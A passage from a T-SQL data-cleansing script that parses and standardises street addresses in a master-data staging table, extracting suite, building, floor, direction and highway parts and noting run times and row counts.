INSERT INTO MDM_STAGE.TEMP_ADDR_PARTS ( SRC_ID, ST_NR,ST_NM, ST_TYP, ST_DIR, BLDG_NR, FL_NR, STE_NR )
SELECT
SRC_ID,
STAGE.fnFirstWord(WB_1),
STAGE.fnMiddlePart(WB_1,STAGE.fnFirstWord(WB_1),STAGE.fnLastWord(WB_1) ),
STAGE.fnLastWord(WB_1),
BLDG_NR, FL_NR, STE_NR,
DIR_2
FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD = -1; -- (-1 means null values)
-- 2:45 min 1.9 million
DELETE FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD = -1; */
----------- GET THE SUITE NUMBERS --------------------------
-- we will do this again for smaller set of records
-- after large chunk is removed to Addr_parts
UPDATE C SET
C.STE_NR = REPLACE(STAGE.fnLastWord(WB_2),'#',''),
C.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
WHERE --C.STAT_2_CD = 0 AND
WB_2 IS NOT NULL
AND stage.fnwordcount(WB_2) = 2
OPTION(MERGE JOIN);
-- 24 sec - 545 K
-- BUILDING NUMBERS
UPDATE C SET
C.BLDG_NR = STAGE.fnLastWord(WB_2),
C.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
WHERE --C.STAT_2_CD = 0 AND
WB_2 IS NOT NULL
AND stage.fnwordcount(WB_2) = 2
OPTION(MERGE JOIN);
-- 5 sec, 6.2k
-- FLOOR NUMBERS
UPDATE C SET
C.FL_NR = STAGE.fnLastWord(ADDR_STD),
C.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON WB_2 = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
WHERE --C.STAT_2_CD = 0 AND
WB_2 IS NOT NULL
AND stage.fnwordcount(WB_2) = 2
OPTION(MERGE JOIN);
-- Sec 4 sec, 18 K
-- Only when Address line is verified then address 2 could be okay with null value
--UPDATE MDM_STAGE.TEMP_ADDR SET
-- STAT_2_CD = 1
--WHERE WB_2 IS NULL AND STAT_1_CD = 1
-- 5 sec, 1.96 million
UPDATE MDM_STAGE.TEMP_ADDR SET
STAT_2_CD = 0 WHERE LEN(STE_NR) > 9;
-- GET RID OF this big chunk of records
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR_PARTS;
INSERT INTO MDM_STAGE.TEMP_ADDR_PARTS ( SRC_ID, ST_NR,ST_NM, ST_TYP, ST_DIR, BLDG_NR, FL_NR, STE_NR )
SELECT
SRC_ID,
STAGE.fnFirstWord(WB_1),
STAGE.fnMiddlePart(WB_1,STAGE.fnFirstWord(WB_1),STAGE.fnLastWord(WB_1) ),
STAGE.fnLastWord(WB_1),
BLDG_NR, FL_NR, STE_NR,
DIR_2
FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD IN (-1,1);
-- 3.5 MIN, 2.5 miullion
DELETE FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD IN (-1,1);
-- 5 SEC
---------------------------- S T A G E 2 ------------------------------------
----------------------------------
-- ADDR 1 is just like ADDR 2
-- SWITCH
-----------------------------------
-- SUITE NUMBERS --
UPDATE C SET
C.STE_NR = CASE WHEN STE_NR IS NULL THEN STAGE.fnLastWord(WB_1) END,
C.WB_1 = WB_2,
C.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_1) = A.ADDR_VAR AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
WHERE WB_1 IS NOT NULL
AND stage.fnwordcount(WB_1) = 2
OPTION(MERGE JOIN);
-- 10 sec - 175
-- BUILDING NUMBERS
UPDATE C SET
C.BLDG_NR = CASE WHEN BLDG_NR IS NULL THEN STAGE.fnLastWord(WB_1) END,
C.WB_1 = WB_2,
C.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_1) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
WHERE WB_1 IS NOT NULL
AND stage.fnwordcount(WB_1) = 2
OPTION(MERGE JOIN);
-- 10 sec - 89 rec
-- FLOOR NUMBERS
UPDATE C SET
C.FL_NR = CASE WHEN C.FL_NR IS NULL THEN STAGE.fnLastWord(ADDR_STD) END ,
C.WB_1 = WB_2,
C.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON WB_1 = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
WHERE WB_1 IS NOT NULL
AND stage.fnwordcount(WB_1) = 2
OPTION(MERGE JOIN);
-- 10 sec - 1 rec
UPDATE MDM_STAGE.TEMP_ADDR SET
WB_2 = NULL WHERE WB_1 = WB_2;
---------------------------------------------
-- LAST WORD IS STE , IT MIGHT BE A MISTAKE IF WE TOOK STE S OR N AS DIRECTION--
-- This will fix it --
-----------------------------------------------
UPDATE C SET
C.STE_NR = CASE WHEN DIR_2 IS NOT NULL THEN DIR_2 ELSE STE_NR END,
C.DIR_2 = NULL,
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR)))
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(WB_1) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
WHERE WB_1 IS NOT NULL
--AND STAT_1_CD = 0
OPTION (MERGE JOIN);
-- 7 SEC, 3K
---------------------------------------------
-- Last 2 words are suite, builing or floor --
-----------------------------------------------
UPDATE C SET
C.STE_NR = STAGE.fnLastWord(WB_1),
C.STAT_1_CD = 9,
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR+' '+STAGE.fnLastWord(WB_1))) )
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON
STAGE.fnLastWord(LEFT(WB_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
AND A.REC_ACT_IN = 'Y'
WHERE stage.fnwordcount(WB_1) >2
AND STAT_1_CD = 0
OPTION (MERGE JOIN);
-- 28 SEC, 312K
UPDATE C SET
C.BLDG_NR = STAGE.fnLastWord(WB_1),
C.STAT_1_CD = 9,
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR+' '+STAGE.fnLastWord(WB_1))) )
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON
STAGE.fnLastWord(LEFT(WB_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
AND A.REC_ACT_IN = 'Y'
WHERE stage.fnwordcount(WB_1) >2
AND STAT_1_CD = 0
OPTION (MERGE JOIN);
-- 9 SEC, 6.2 K
UPDATE C SET
C.FL_NR = STAGE.fnLastWord(ADDR_STD),
C.STAT_1_CD = 9,
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR)) )
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON
STAGE.fnLastWord(LEFT(WB_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) +' '+STAGE.fnLastWord(WB_1) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
AND A.REC_ACT_IN = 'Y'
WHERE stage.fnwordcount(WB_1) >2
AND STAT_1_CD = 0
OPTION (MERGE JOIN);
-- 11 SEC 11K
-------------------------------------------------------------------------
-- select top 1000 ADDR_1, ADDR_2, WB_1, wb_2, STE_NR, BLDG_NR, FL_NR from MDM_STAGE.TEMP_ADDR where STAT_1_CD = 92
--- ONE MORE TIME
UPDATE C SET
C.STE_NR = STAGE.fnLastWord(WB_1),
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR+' '+STAGE.fnLastWord(WB_1))) ),
C.STAT_1_CD = 92
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON
STAGE.fnLastWord(LEFT(WB_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
AND A.REC_ACT_IN = 'Y'
WHERE stage.fnwordcount(WB_1) >2
AND C.STAT_1_CD = 9
AND STE_NR IS NOT NULL
OPTION (MERGE JOIN);
--9 sec - 16
UPDATE C SET
C.BLDG_NR = STAGE.fnLastWord(WB_1),
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR+' '+STAGE.fnLastWord(WB_1))) ),
C.STAT_1_CD = 93
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON
STAGE.fnLastWord(LEFT(WB_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
AND A.REC_ACT_IN = 'Y'
WHERE stage.fnwordcount(WB_1) >2
OPTION (MERGE JOIN);
-- 8 SEC, 228 K
UPDATE C SET
C.FL_NR = STAGE.fnLastWord(ADDR_STD),
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR)) ),
C.STAT_1_CD = 94
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON
STAGE.fnLastWord(LEFT(WB_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) +' '+STAGE.fnLastWord(WB_1) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
AND A.REC_ACT_IN = 'Y'
WHERE stage.fnwordcount(WB_1) >2
AND STAT_1_CD = 9
OPTION (MERGE JOIN);
--RESET STATUS CODE
UPDATE MDM_STAGE.TEMP_ADDR SET STAT_1_CD = 0 WHERE STAT_1_CD > 1;
------------------------------------------------------------------
-- Before starting to deal with #, let's add highway indicator to have
-- Highway excluded from this
----------------------------------------------------------------------
UPDATE C SET
HWY_IN = 'Y'
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON WB_1 LIKE '% '+A.ADDR_VAR+'%'
AND A.SUB_CAT = 'HIGHWAY'
WHERE STAT_1_CD = 0;
UPDATE MDM_STAGE.TEMP_ADDR SET HWY_IN = 'N' WHERE HWY_IN <>'Y';
----------- suite orbuild number after # --------
-- SUITE NUMBER IS #303 - with no gap
UPDATE MDM_STAGE.TEMP_ADDR SET
STE_NR = case when STE_NR IS NULL THEN STAGE.fnGet_Num(STAGE.fnLastWord(WB_1)) ELSE STE_NR END,
BLDG_NR = case when STE_NR IS NOT NULL AND BLDG_NR IS NULL THEN STAGE.fnGet_Num(STAGE.fnLastWord(WB_1)) ELSE BLDG_NR END,
WC_2 = case when STE_NR IS NOT NULL AND BLDG_NR IS NOT NULL THEN STAGE.fnGet_Num(STAGE.fnLastWord(WB_1)) END,
WB_1 = STAGE.fnGet_FirstPart(WB_1, LEN(WB_1)-LEN(STAGE.fnLastWord(WB_1))),
STAT_1_CD = 9
WHERE STAGE.fnLastWord(WB_1) LIKE '#%'
AND stage.fnwordcount(WB_1) >2
AND STAT_1_CD = 0
AND HWY_IN = 'N';
-- 27 SEC 4K
-- SUITE NUMBER IS # 303 - with a space
UPDATE MDM_STAGE.TEMP_ADDR SET
BLDG_NR = case when STE_NR IS NOT NULL AND BLDG_NR IS NULL THEN STAGE.fnLastWord(WB_1) ELSE BLDG_NR END,
STE_NR = case when STE_NR IS NULL THEN STAGE.fnLastWord(WB_1) ELSE STE_NR END,
WC_2 = STAGE.fnLastWord(WB_1),
WB_1 = rtrim(STAGE.fnGet_FirstPart(WB_1, STAGE.fn_LastIndexOf(WB_1,'#')-1)),
STAT_1_CD = 92
WHERE STAGE.fnLastWord(LEFT(WB_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) = '#'
AND stage.fnwordcount(WB_1) >2
AND STAT_1_CD = 0
AND HWY_IN = 'N';
-- 9 SEC, 22K
UPDATE MDM_STAGE.TEMP_ADDR SET STAT_1_CD = 0 WHERE STAT_1_CD > 1;
------------------------------------------------------
-- DIRECTION FROM END
--- So that if last word is a roadway, we can grab it
------------------------------------------------------
UPDATE C SET
DIR_2 = ltrim(rtrim(A.ADDR_STD)),
WB_1 = STAGE.fnGet_FirstPart(WB_1,LEN(WB_1)-LEN(A.ADDR_VAR)),
STAT_1_CD = 9 -- for chacking any error from this line
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(WB_1) = A.ADDR_VAR
AND A.CAT = 'DIRECTION'
-- WHERE STAT_1_CD = 9
OPTION (MERGE JOIN);
-- 3 SEC 24K
-- Fix any potential issue with direction --
UPDATE C SET
C.STE_NR = CASE WHEN DIR_2 IS NOT NULL THEN DIR_2 ELSE STE_NR END,
C.DIR_2 = NULL,
C.WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN(A.ADDR_VAR))),
STAT_1_CD = 92
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(WB_1) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' --AND A.SUB_CAT = 'SUITE'
WHERE WB_1 IS NOT NULL
AND STAT_1_CD = 9
OPTION (MERGE JOIN);
UPDATE MDM_STAGE.TEMP_ADDR SET STAT_1_CD = 0 WHERE STAT_1_CD > 8;
-- IF THE WORD BEFORE WAS SUITE OR BUILDING OR # -- THEN IT WAS NOT a dir
--------------- bookmark ---------------
-- AGAIN TAKE THE COMPLETELY GOOD ONES OUT
/*
UPDATE C
SET STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN ( SELECT DISTINCT ADDR_STD FROM REF.ADDR_STD WHERE CAT IN ('Roadway','Location')) A
ON STAGE.fnLastWord(WB_1) = A.ADDR_STD
WHERE
ISNUMERIC(STAGE.fnFirstWord(WB_1)) = 1
AND STAT_1_CD = 9
OPTION (MERGE JOIN) ;
-- 9 SEC, 303k
UPDATE MDM_STAGE.TEMP_ADDR SET
STAT_2_CD = 1
WHERE WB_2 IS NULL AND STAT_1_CD = 1 ;
-- 1 SEC 298K
UPDATE MDM_STAGE.TEMP_ADDR SET
STAT_2_CD = 0 WHERE LEN(STE_NR) > 9;
-- move second chunk of god records
INSERT INTO MDM_STAGE.TEMP_ADDR_PARTS ( SRC_ID, ST_NR,ST_NM, ST_TYP, ST_DIR, BLDG_NR, FL_NR, STE_NR )
SELECT
SRC_ID,
STAGE.fnFirstWord(WB_1),
STAGE.fnMiddlePart(WB_1,STAGE.fnFirstWord(WB_1),STAGE.fnLastWord(WB_1) ),
STAGE.fnLastWord(WB_1),
BLDG_NR, FL_NR, STE_NR,
DIR_2
FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD = 1;
-- 25 sec, 297K
DELETE FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD = 1;
-- 5 SEC
*/
---------------------------- S T A G E 3 ------------------------------------
--------------------------------------------
-- BREAK APART STREET ADDRESSS -----
----------------------------------------------
-- CHECK STAT_1_CD STATUS
--select stat_1_cd, count(*) from MDM_STAGE.TEMP_ADDR group by stat_1_cd
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NR = STAGE.fnFirstWord(WB_1),
ST_NM = STAGE.fnSecondPart(WB_1, LEN(STAGE.fnFirstWord(WB_1))+1)
WHERE ISNUMERIC(LEFT(WB_1,1)) = 1 --AND ST_NM IS NULL
;
--
--- Now Take the DIRECTION
UPDATE C SET
DIR_2 = ltrim(rtrim(A.ADDR_STD)),
ST_NM = STAGE.fnGet_FirstPart(ST_NM,LEN(ST_NM)-LEN(A.ADDR_VAR)),
STAT_1_CD = 111
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(ST_NM) = A.ADDR_VAR
AND A.CAT = 'DIRECTION'
AND STAT_1_CD = 0
OPTION (MERGE JOIN);
-- 5 sec 38 ROWS
-- UPDATE MDM_STAGE.TEMP_ADDR SET STAT_1_CD = 0 WHERE STAT_1_CD=111;
-- Take ROADWAY VAR as last word out
-- MARK THE GOOD RECORDS
UPDATE C SET
ST_TYP = A. ADDR_STD,
ST_NM = STAGE.fnGet_FirstPart(ST_NM,LEN(ST_NM)-LEN(A.ADDR_VAR)),
STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(ST_NM) = A.ADDR_VAR
AND CAT IN ('Roadway','Location')
WHERE STAT_1_CD = 0
OPTION (MERGE JOIN) ;
-- 15 SEC 483k record
------------------------------------
--- HIGHWAY (A LITTLE TRICKY) --
------------------------------------
-- check if there is any stats_1_cd 9 is left - should not be any
-- Take the last two words out first
----------------- SIMPLE CASE WHEN SECOND LAST WORD IS HWY
UPDATE C SET
C.WC_1 = STAGE.fnLastWord(ST_NM),
C.ST_TYP = ADDR_STD , -- STAGE.fnLastWord(LEFT(ST_NM,LEN(ST_NM)- LEN(STAGE.fnLastWord(ST_NM)))),
ST_NM = STAGE.fnGet_FirstPart(ST_NM, stage.fn_LastIndexOf(ST_NM,A.ADDR_VAR)-1),
STAT_1_CD = 90
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON STAGE.fnLastWord(LEFT(ST_NM,LEN(ST_NM)- LEN(STAGE.fnLastWord(ST_NM)))) = A.ADDR_VAR
AND A.SUB_CAT = 'HIGHWAY'
WHERE STAT_1_CD = 0
AND HWY_IN = 'Y'
AND STAGE.fnWordCount(ST_NM)>1
OPTION(MERGE JOIN);
-- 4 SEC -- 56K
-- COUNTY OR STATE ROAD --
UPDATE C SET
C.WC_1 = STAGE.fnLastWord(ST_NM),
C.ST_TYP ='RD' ,
ST_NM = STAGE.fnGet_FirstPart(ST_NM, stage.fn_LastIndexOf(ST_NM,A.ADDR_VAR)-1),
STAT_1_CD = 91
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON STAGE.fnLastWord(LEFT(ST_NM,LEN(ST_NM)- LEN(STAGE.fnLastWord(ST_NM)))) = A.ADDR_VAR
AND A.ADDR_TYP = 'ROAD'
WHERE STAT_1_CD = 0 AND
STAGE.fnWordCount(ST_NM)>1
AND (ST_NM LIKE '%COUNTY %' OR ST_NM LIKE '%STATE %' OR ST_NM LIKE '%US %')
OPTION(MERGE JOIN);
-- 1 SEC - 7.3K
-- MARK THE GOOD ONES, RESET FLAG
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NM = ISNULL(ST_NM,'')+' '+ST_TYP+' '+WC_1,
WC_1 = NULL, ST_TYP = NULL,
STAT_1_CD = 1
WHERE STAT_1_CD > 89;
-- CHECK --- select stat_1_cd, count(*) from MDM_STAGE.TEMP_ADDR group by stat_1_cd
-- 157K LEFT
------------------------------------------
-- HIGHWAY IN THE MIDDLE
----------------------------------------
UPDATE C SET
C.ST_TYP = A.ADDR_STD,
ST_NM = STAGE.fnGet_FirstPart(ST_NM, stage.fn_LastIndexOf(ST_NM,A.ADDR_VAR)-1),
WC_1 = STAGE.fnSecondPart(ST_NM, stage.fn_LastIndexOf(ST_NM,A.ADDR_VAR)+LEN(ADDR_VAR)+1 ),
STAT_1_CD = 91
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON ST_NM LIKE '% '+A.ADDR_VAR+' %'
AND A.SUB_CAT = 'HIGHWAY'
WHERE STAT_1_CD = 0
AND HWY_IN = 'Y'
AND STAGE.fnWordCount(ST_NM)>1
--OPTION(MERGE JOIN)
;
-- 12 sec - 1.7 k
-- WHEN ST_NM IS US OR STATE, TAKE FIRST NUMERIC FROM WC_1 AND ADJUST WC_1 --
UPDATE C SET
DIR_1 = A.ADDR_STD,
ST_NM = STAGE.fnSecondPart(ST_NM,LEN(STAGE.fnFirstWord(ST_NM))+1),
STAT_1_CD = 101
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(ST_NM) = A.ADDR_VAR
AND A.CAT = 'DIRECTION'
AND STAT_1_CD = 91
OPTION (MERGE JOIN);
-- 25 sec
-- WC_1 HAS THE POTENTIAL HIGHNAME IN IT --
-- REMOVE PRECEDDING # TO BE ABLE TO USE IT --
UPDATE MDM_STAGE.TEMP_ADDR SET
WC_1 = LTRIM(REPLACE(WC_1,'#',''))
WHERE LEFT(LTRIM(WC_1),1) = '#'
AND STAT_1_CD = 91
-- US, STATYE O COUNTY HIGHWAY
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NM = ST_NM + ' '+ST_TYP+' '+STAGE.fnFirstWord(WC_1),
WC_1 = STAGE.fnSECONDPART(WC_1,LEN(STAGE.fnFirstWord(WC_1))+1),
WC_2 = REPLACE(STAGE.fnSECONDPART(WC_1,LEN(STAGE.fnFirstWord(WC_1))+1),'#','')
,stat_1_cd = 92
WHERE LTRIM(RTRIM(ST_NM)) IN ('US','STATE','COUNTY','CNTY','ST')
AND stat_1_cd = 91;
-- 1 SEC, 226 RECORD
-- STATE NAME HIGHWAY
UPDATE T SET
ST_NM = ST_NM + ' '+T.ST_TYP+' '+STAGE.fnFirstWord(WC_1),
WC_1 = STAGE.fnSECONDPART(WC_1,LEN(STAGE.fnFirstWord(WC_1))+1)
,stat_1_cd = 93
FROM MDM_STAGE.TEMP_ADDR T
JOIN REF.STATE_LIST S ON T.ST_NM = S.ST AND S.ST_TYP = 'State'
WHERE stat_1_cd = 91;
-- 1 SEC 19 RECORD
-- NO STATE NAME
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NM = ST_NM + ' '+ST_TYP, --+' '+STAGE.fnFirstWord(WC_1),
st_typ = null
,stat_1_cd = 94
WHERE len(LTRIM(RTRIM(ST_NM))) > 1
AND stat_1_cd = 91;
-- 1 SEC 788 REC
---- Taking direction from front
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NR_2 = CASE WHEN WC_1 IS NULL THEN len(LTRIM(RTRIM(ST_NM))) ELSE ST_NR_2 END,
st_NM = CASE WHEN WC_1 IS NULL THEN ST_NM+' '+ST_TYP ELSE ST_TYP+ ' '+STAGE.fnFirstWord(WC_1) END
,stat_1_cd = 95
WHERE len(LTRIM(RTRIM(ST_NM))) = 1
AND LTRIM(RTRIM(ST_NM)) NOT IN ('N','E','S','W')
AND stat_1_cd = 91;
-- 13 sec - 4 rows
-- There is no name other than highway and then take first word of WC_1
UPDATE MDM_STAGE.TEMP_ADDR SET
st_NM = ST_TYP+' '+STAGE.fnFirstWord(wc_1)
,WC_1= STAGE.fnSecondPart(WC_1,LEN(STAGE.fnFirstWord(wc_1))+1)
,stat_1_cd = 96
WHERE ST_NM IS NULL AND WC_1 IS NOT NULL
AND stat_1_cd = 91;
-- zero record
UPDATE MDM_STAGE.TEMP_ADDR SET
st_NM = CASE
WHEN DIR_1='N' THEN 'NORTH '+ST_TYP
WHEN DIR_1='S' THEN 'SOUTH '+ST_TYP
WHEN DIR_1='E' THEN 'EAST '+ST_TYP
WHEN DIR_1='W' THEN 'WEST '+ST_TYP
WHEN DIR_1='NE' THEN 'NORTHEAST '+ST_TYP
WHEN DIR_1='SE' THEN 'SOUTHEAST '+ST_TYP
WHEN DIR_1='NW' THEN 'NORTHWEST '+ST_TYP
WHEN DIR_1='SW' THEN 'SOUTHWEST '+ST_TYP END
,DIR_1=NULL
,stat_1_cd = 97
WHERE ST_NM IS NULL AND WC_1 IS NULL AND DIR_1 IS NOT NULL
AND stat_1_cd = 91;
-- no record
-- SUITE NUMBERS --
UPDATE C SET
C.STE_NR = CASE WHEN STE_NR IS NULL THEN STAGE.fnNextWord(WC_1, A.ADDR_VAR) ELSE STE_NR END,
WC_1 = NULL,
STAT_1_CD = 98
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WC_1) = A.ADDR_VAR AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
WHERE WC_1 IS NOT NULL
OPTION(MERGE JOIN);
-- 10 sec - 175
UPDATE MDM_STAGE.TEMP_ADDR SET
WC_1 = NULL, WC_2 = NULL,
STAT_1_CD = 1
WHERE STAT_1_CD > 89;
-- 24 SEC 287 RECORD
---------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------
/*
-- IF THERE IS # or NR before highway number
UPDATE C SET
C.LW_1 = LTRIM(RTRIM(STAGE.fnSecondPart(ST_NM, charindex(ADDR_VAR,ST_NM)+LEN(A.ADDR_VAR)))),
C.LW_2 = LTRIM(RTRIM(A.ADDR_VAR)),
STAT_1_CD = 8
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON ST_NM LIKE '% '+A.ADDR_VAR +' %' AND A.SUB_CAT = 'HIGHWAY'
WHERE STAT_1_CD = 0
AND STAGE.fnWordCount(ST_NM)>1;
-- If there are more than two words extract st_nm, otherwise st name remains null
-- TEST -- NMAY NOT NEED IT
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NM = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1) - LEN(LW_2+' '+LW_1)-1))
WHERE STAGE.fnWordCount(WB_1)>2
AND STAT_1_CD IN (8,9)
-- Now stdandardize the highway name
UPDATE C SET
C.LW_2 = A.ADDR_STD
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON C.LW_2 = A.ADDR_VAR AND A.CAT = 'ROADWAY'
WHERE STAT_1_CD = 9
OPTION(MERGE JOIN);
*/
-- Take care of diffrent vrsion of Us
UPDATE MDM_STAGE.TEMP_ADDR SET ST_NM = REPLACE(ST_NM,' U S ',' US ') WHERE ST_NM LIKE '% U S %';
-- 19 SEC -- 45 ROWS
UPDATE MDM_STAGE.TEMP_ADDR SET ST_NM = REPLACE(ST_NM,'U S ','US ') WHERE ST_NM LIKE '%U S %';
UPDATE MDM_STAGE.TEMP_ADDR SET ST_NM = REPLACE(ST_NM,' U.S. ','US ') WHERE WB_1 LIKE '% U.S. %';
-- NO RECORDS
------------------------------------------------
-- Direction in the beginning of name
------------------------------------------------
UPDATE C SET
DIR_1 = ltrim(rtrim(A.ADDR_STD)),
ST_NM = STAGE.fnSECONDPart(ST_NM,LEN(A.ADDR_VAR)+1)
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(ST_NM) = A.ADDR_VAR
AND A.CAT = 'DIRECTION'
OPTION (MERGE JOIN);
-- IF IT IS NAME OF A HIGHWAY, Like North Highway - thn bring it back
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NM = CASE
WHEN DIR_1='N' THEN 'NORTH '+ST_NM
WHEN DIR_1='S' THEN 'SOUTH '+ST_NM
WHEN DIR_1='E' THEN 'EAST '+ST_NM
WHEN DIR_1='W' THEN 'WEST '+ST_NM
WHEN DIR_1='NE' THEN 'NORTHEAST '+ST_NM
WHEN DIR_1='SE' THEN 'SOUTHEAST '+ST_NM
WHEN DIR_1='NW' THEN 'NORTHWEST '+ST_NM
WHEN DIR_1='SW' THEN 'SOUTHWEST '+ST_NM END
,DIR_1=NULL
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON ltrim(rtrim(ST_NM)) = A.ADDR_VAR AND A.SUB_CAT = 'HIGHWAY'
WHERE STAGE.fnWordCount(ST_NM)=1 AND ST_TYP IS NULL
OPTION(MERGE JOIN);
-- IF DIRECTION IS ACTUALLY PART OF NAME OF A STATE - THEN DO NOT ABBREVIATE
UPDATE MDM_STAGE.TEMP_ADDR SET
DIR_1 = NULL,
ST_NM =
CASE WHEN DIR_1 = 'N' THEN 'NORTH '+ST_NM
WHEN DIR_1 = 'S' THEN 'SOUTH '+ST_NM
ELSE ST_NM END
WHERE STAGE.fnFirstWord(ST_NM) IN ('CAROLINA','DAKOTA') AND DIR_1 IN ('N','S');
UPDATE C SET
DIR_1 = NULL,
ST_NM = 'WEST '+ST_NM
FROM MDM_STAGE.TEMP_ADDR C
WHERE STAGE.fnFirstWord(ST_NM) = 'VIRGINIA' AND C.DIR_1 = 'W';
-----------------------------------------------
-- AVENUE H, or BLVD A --
-----------------------------------------------
UPDATE C SET
ST_NM = REPLACE(ST_NM, A.ADDR_VAR, A.ADDR_STD),
STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON STAGE.fnFirstWord(st_nm) = A.ADDR_VAR AND CAT = 'Roadway'
OPTION (MERGE JOIN);
UPDATE C SET
ST_NM = REPLACE(WB_1, A.ADDR_VAR, A.ADDR_STD),
STAT_1_CD = 1
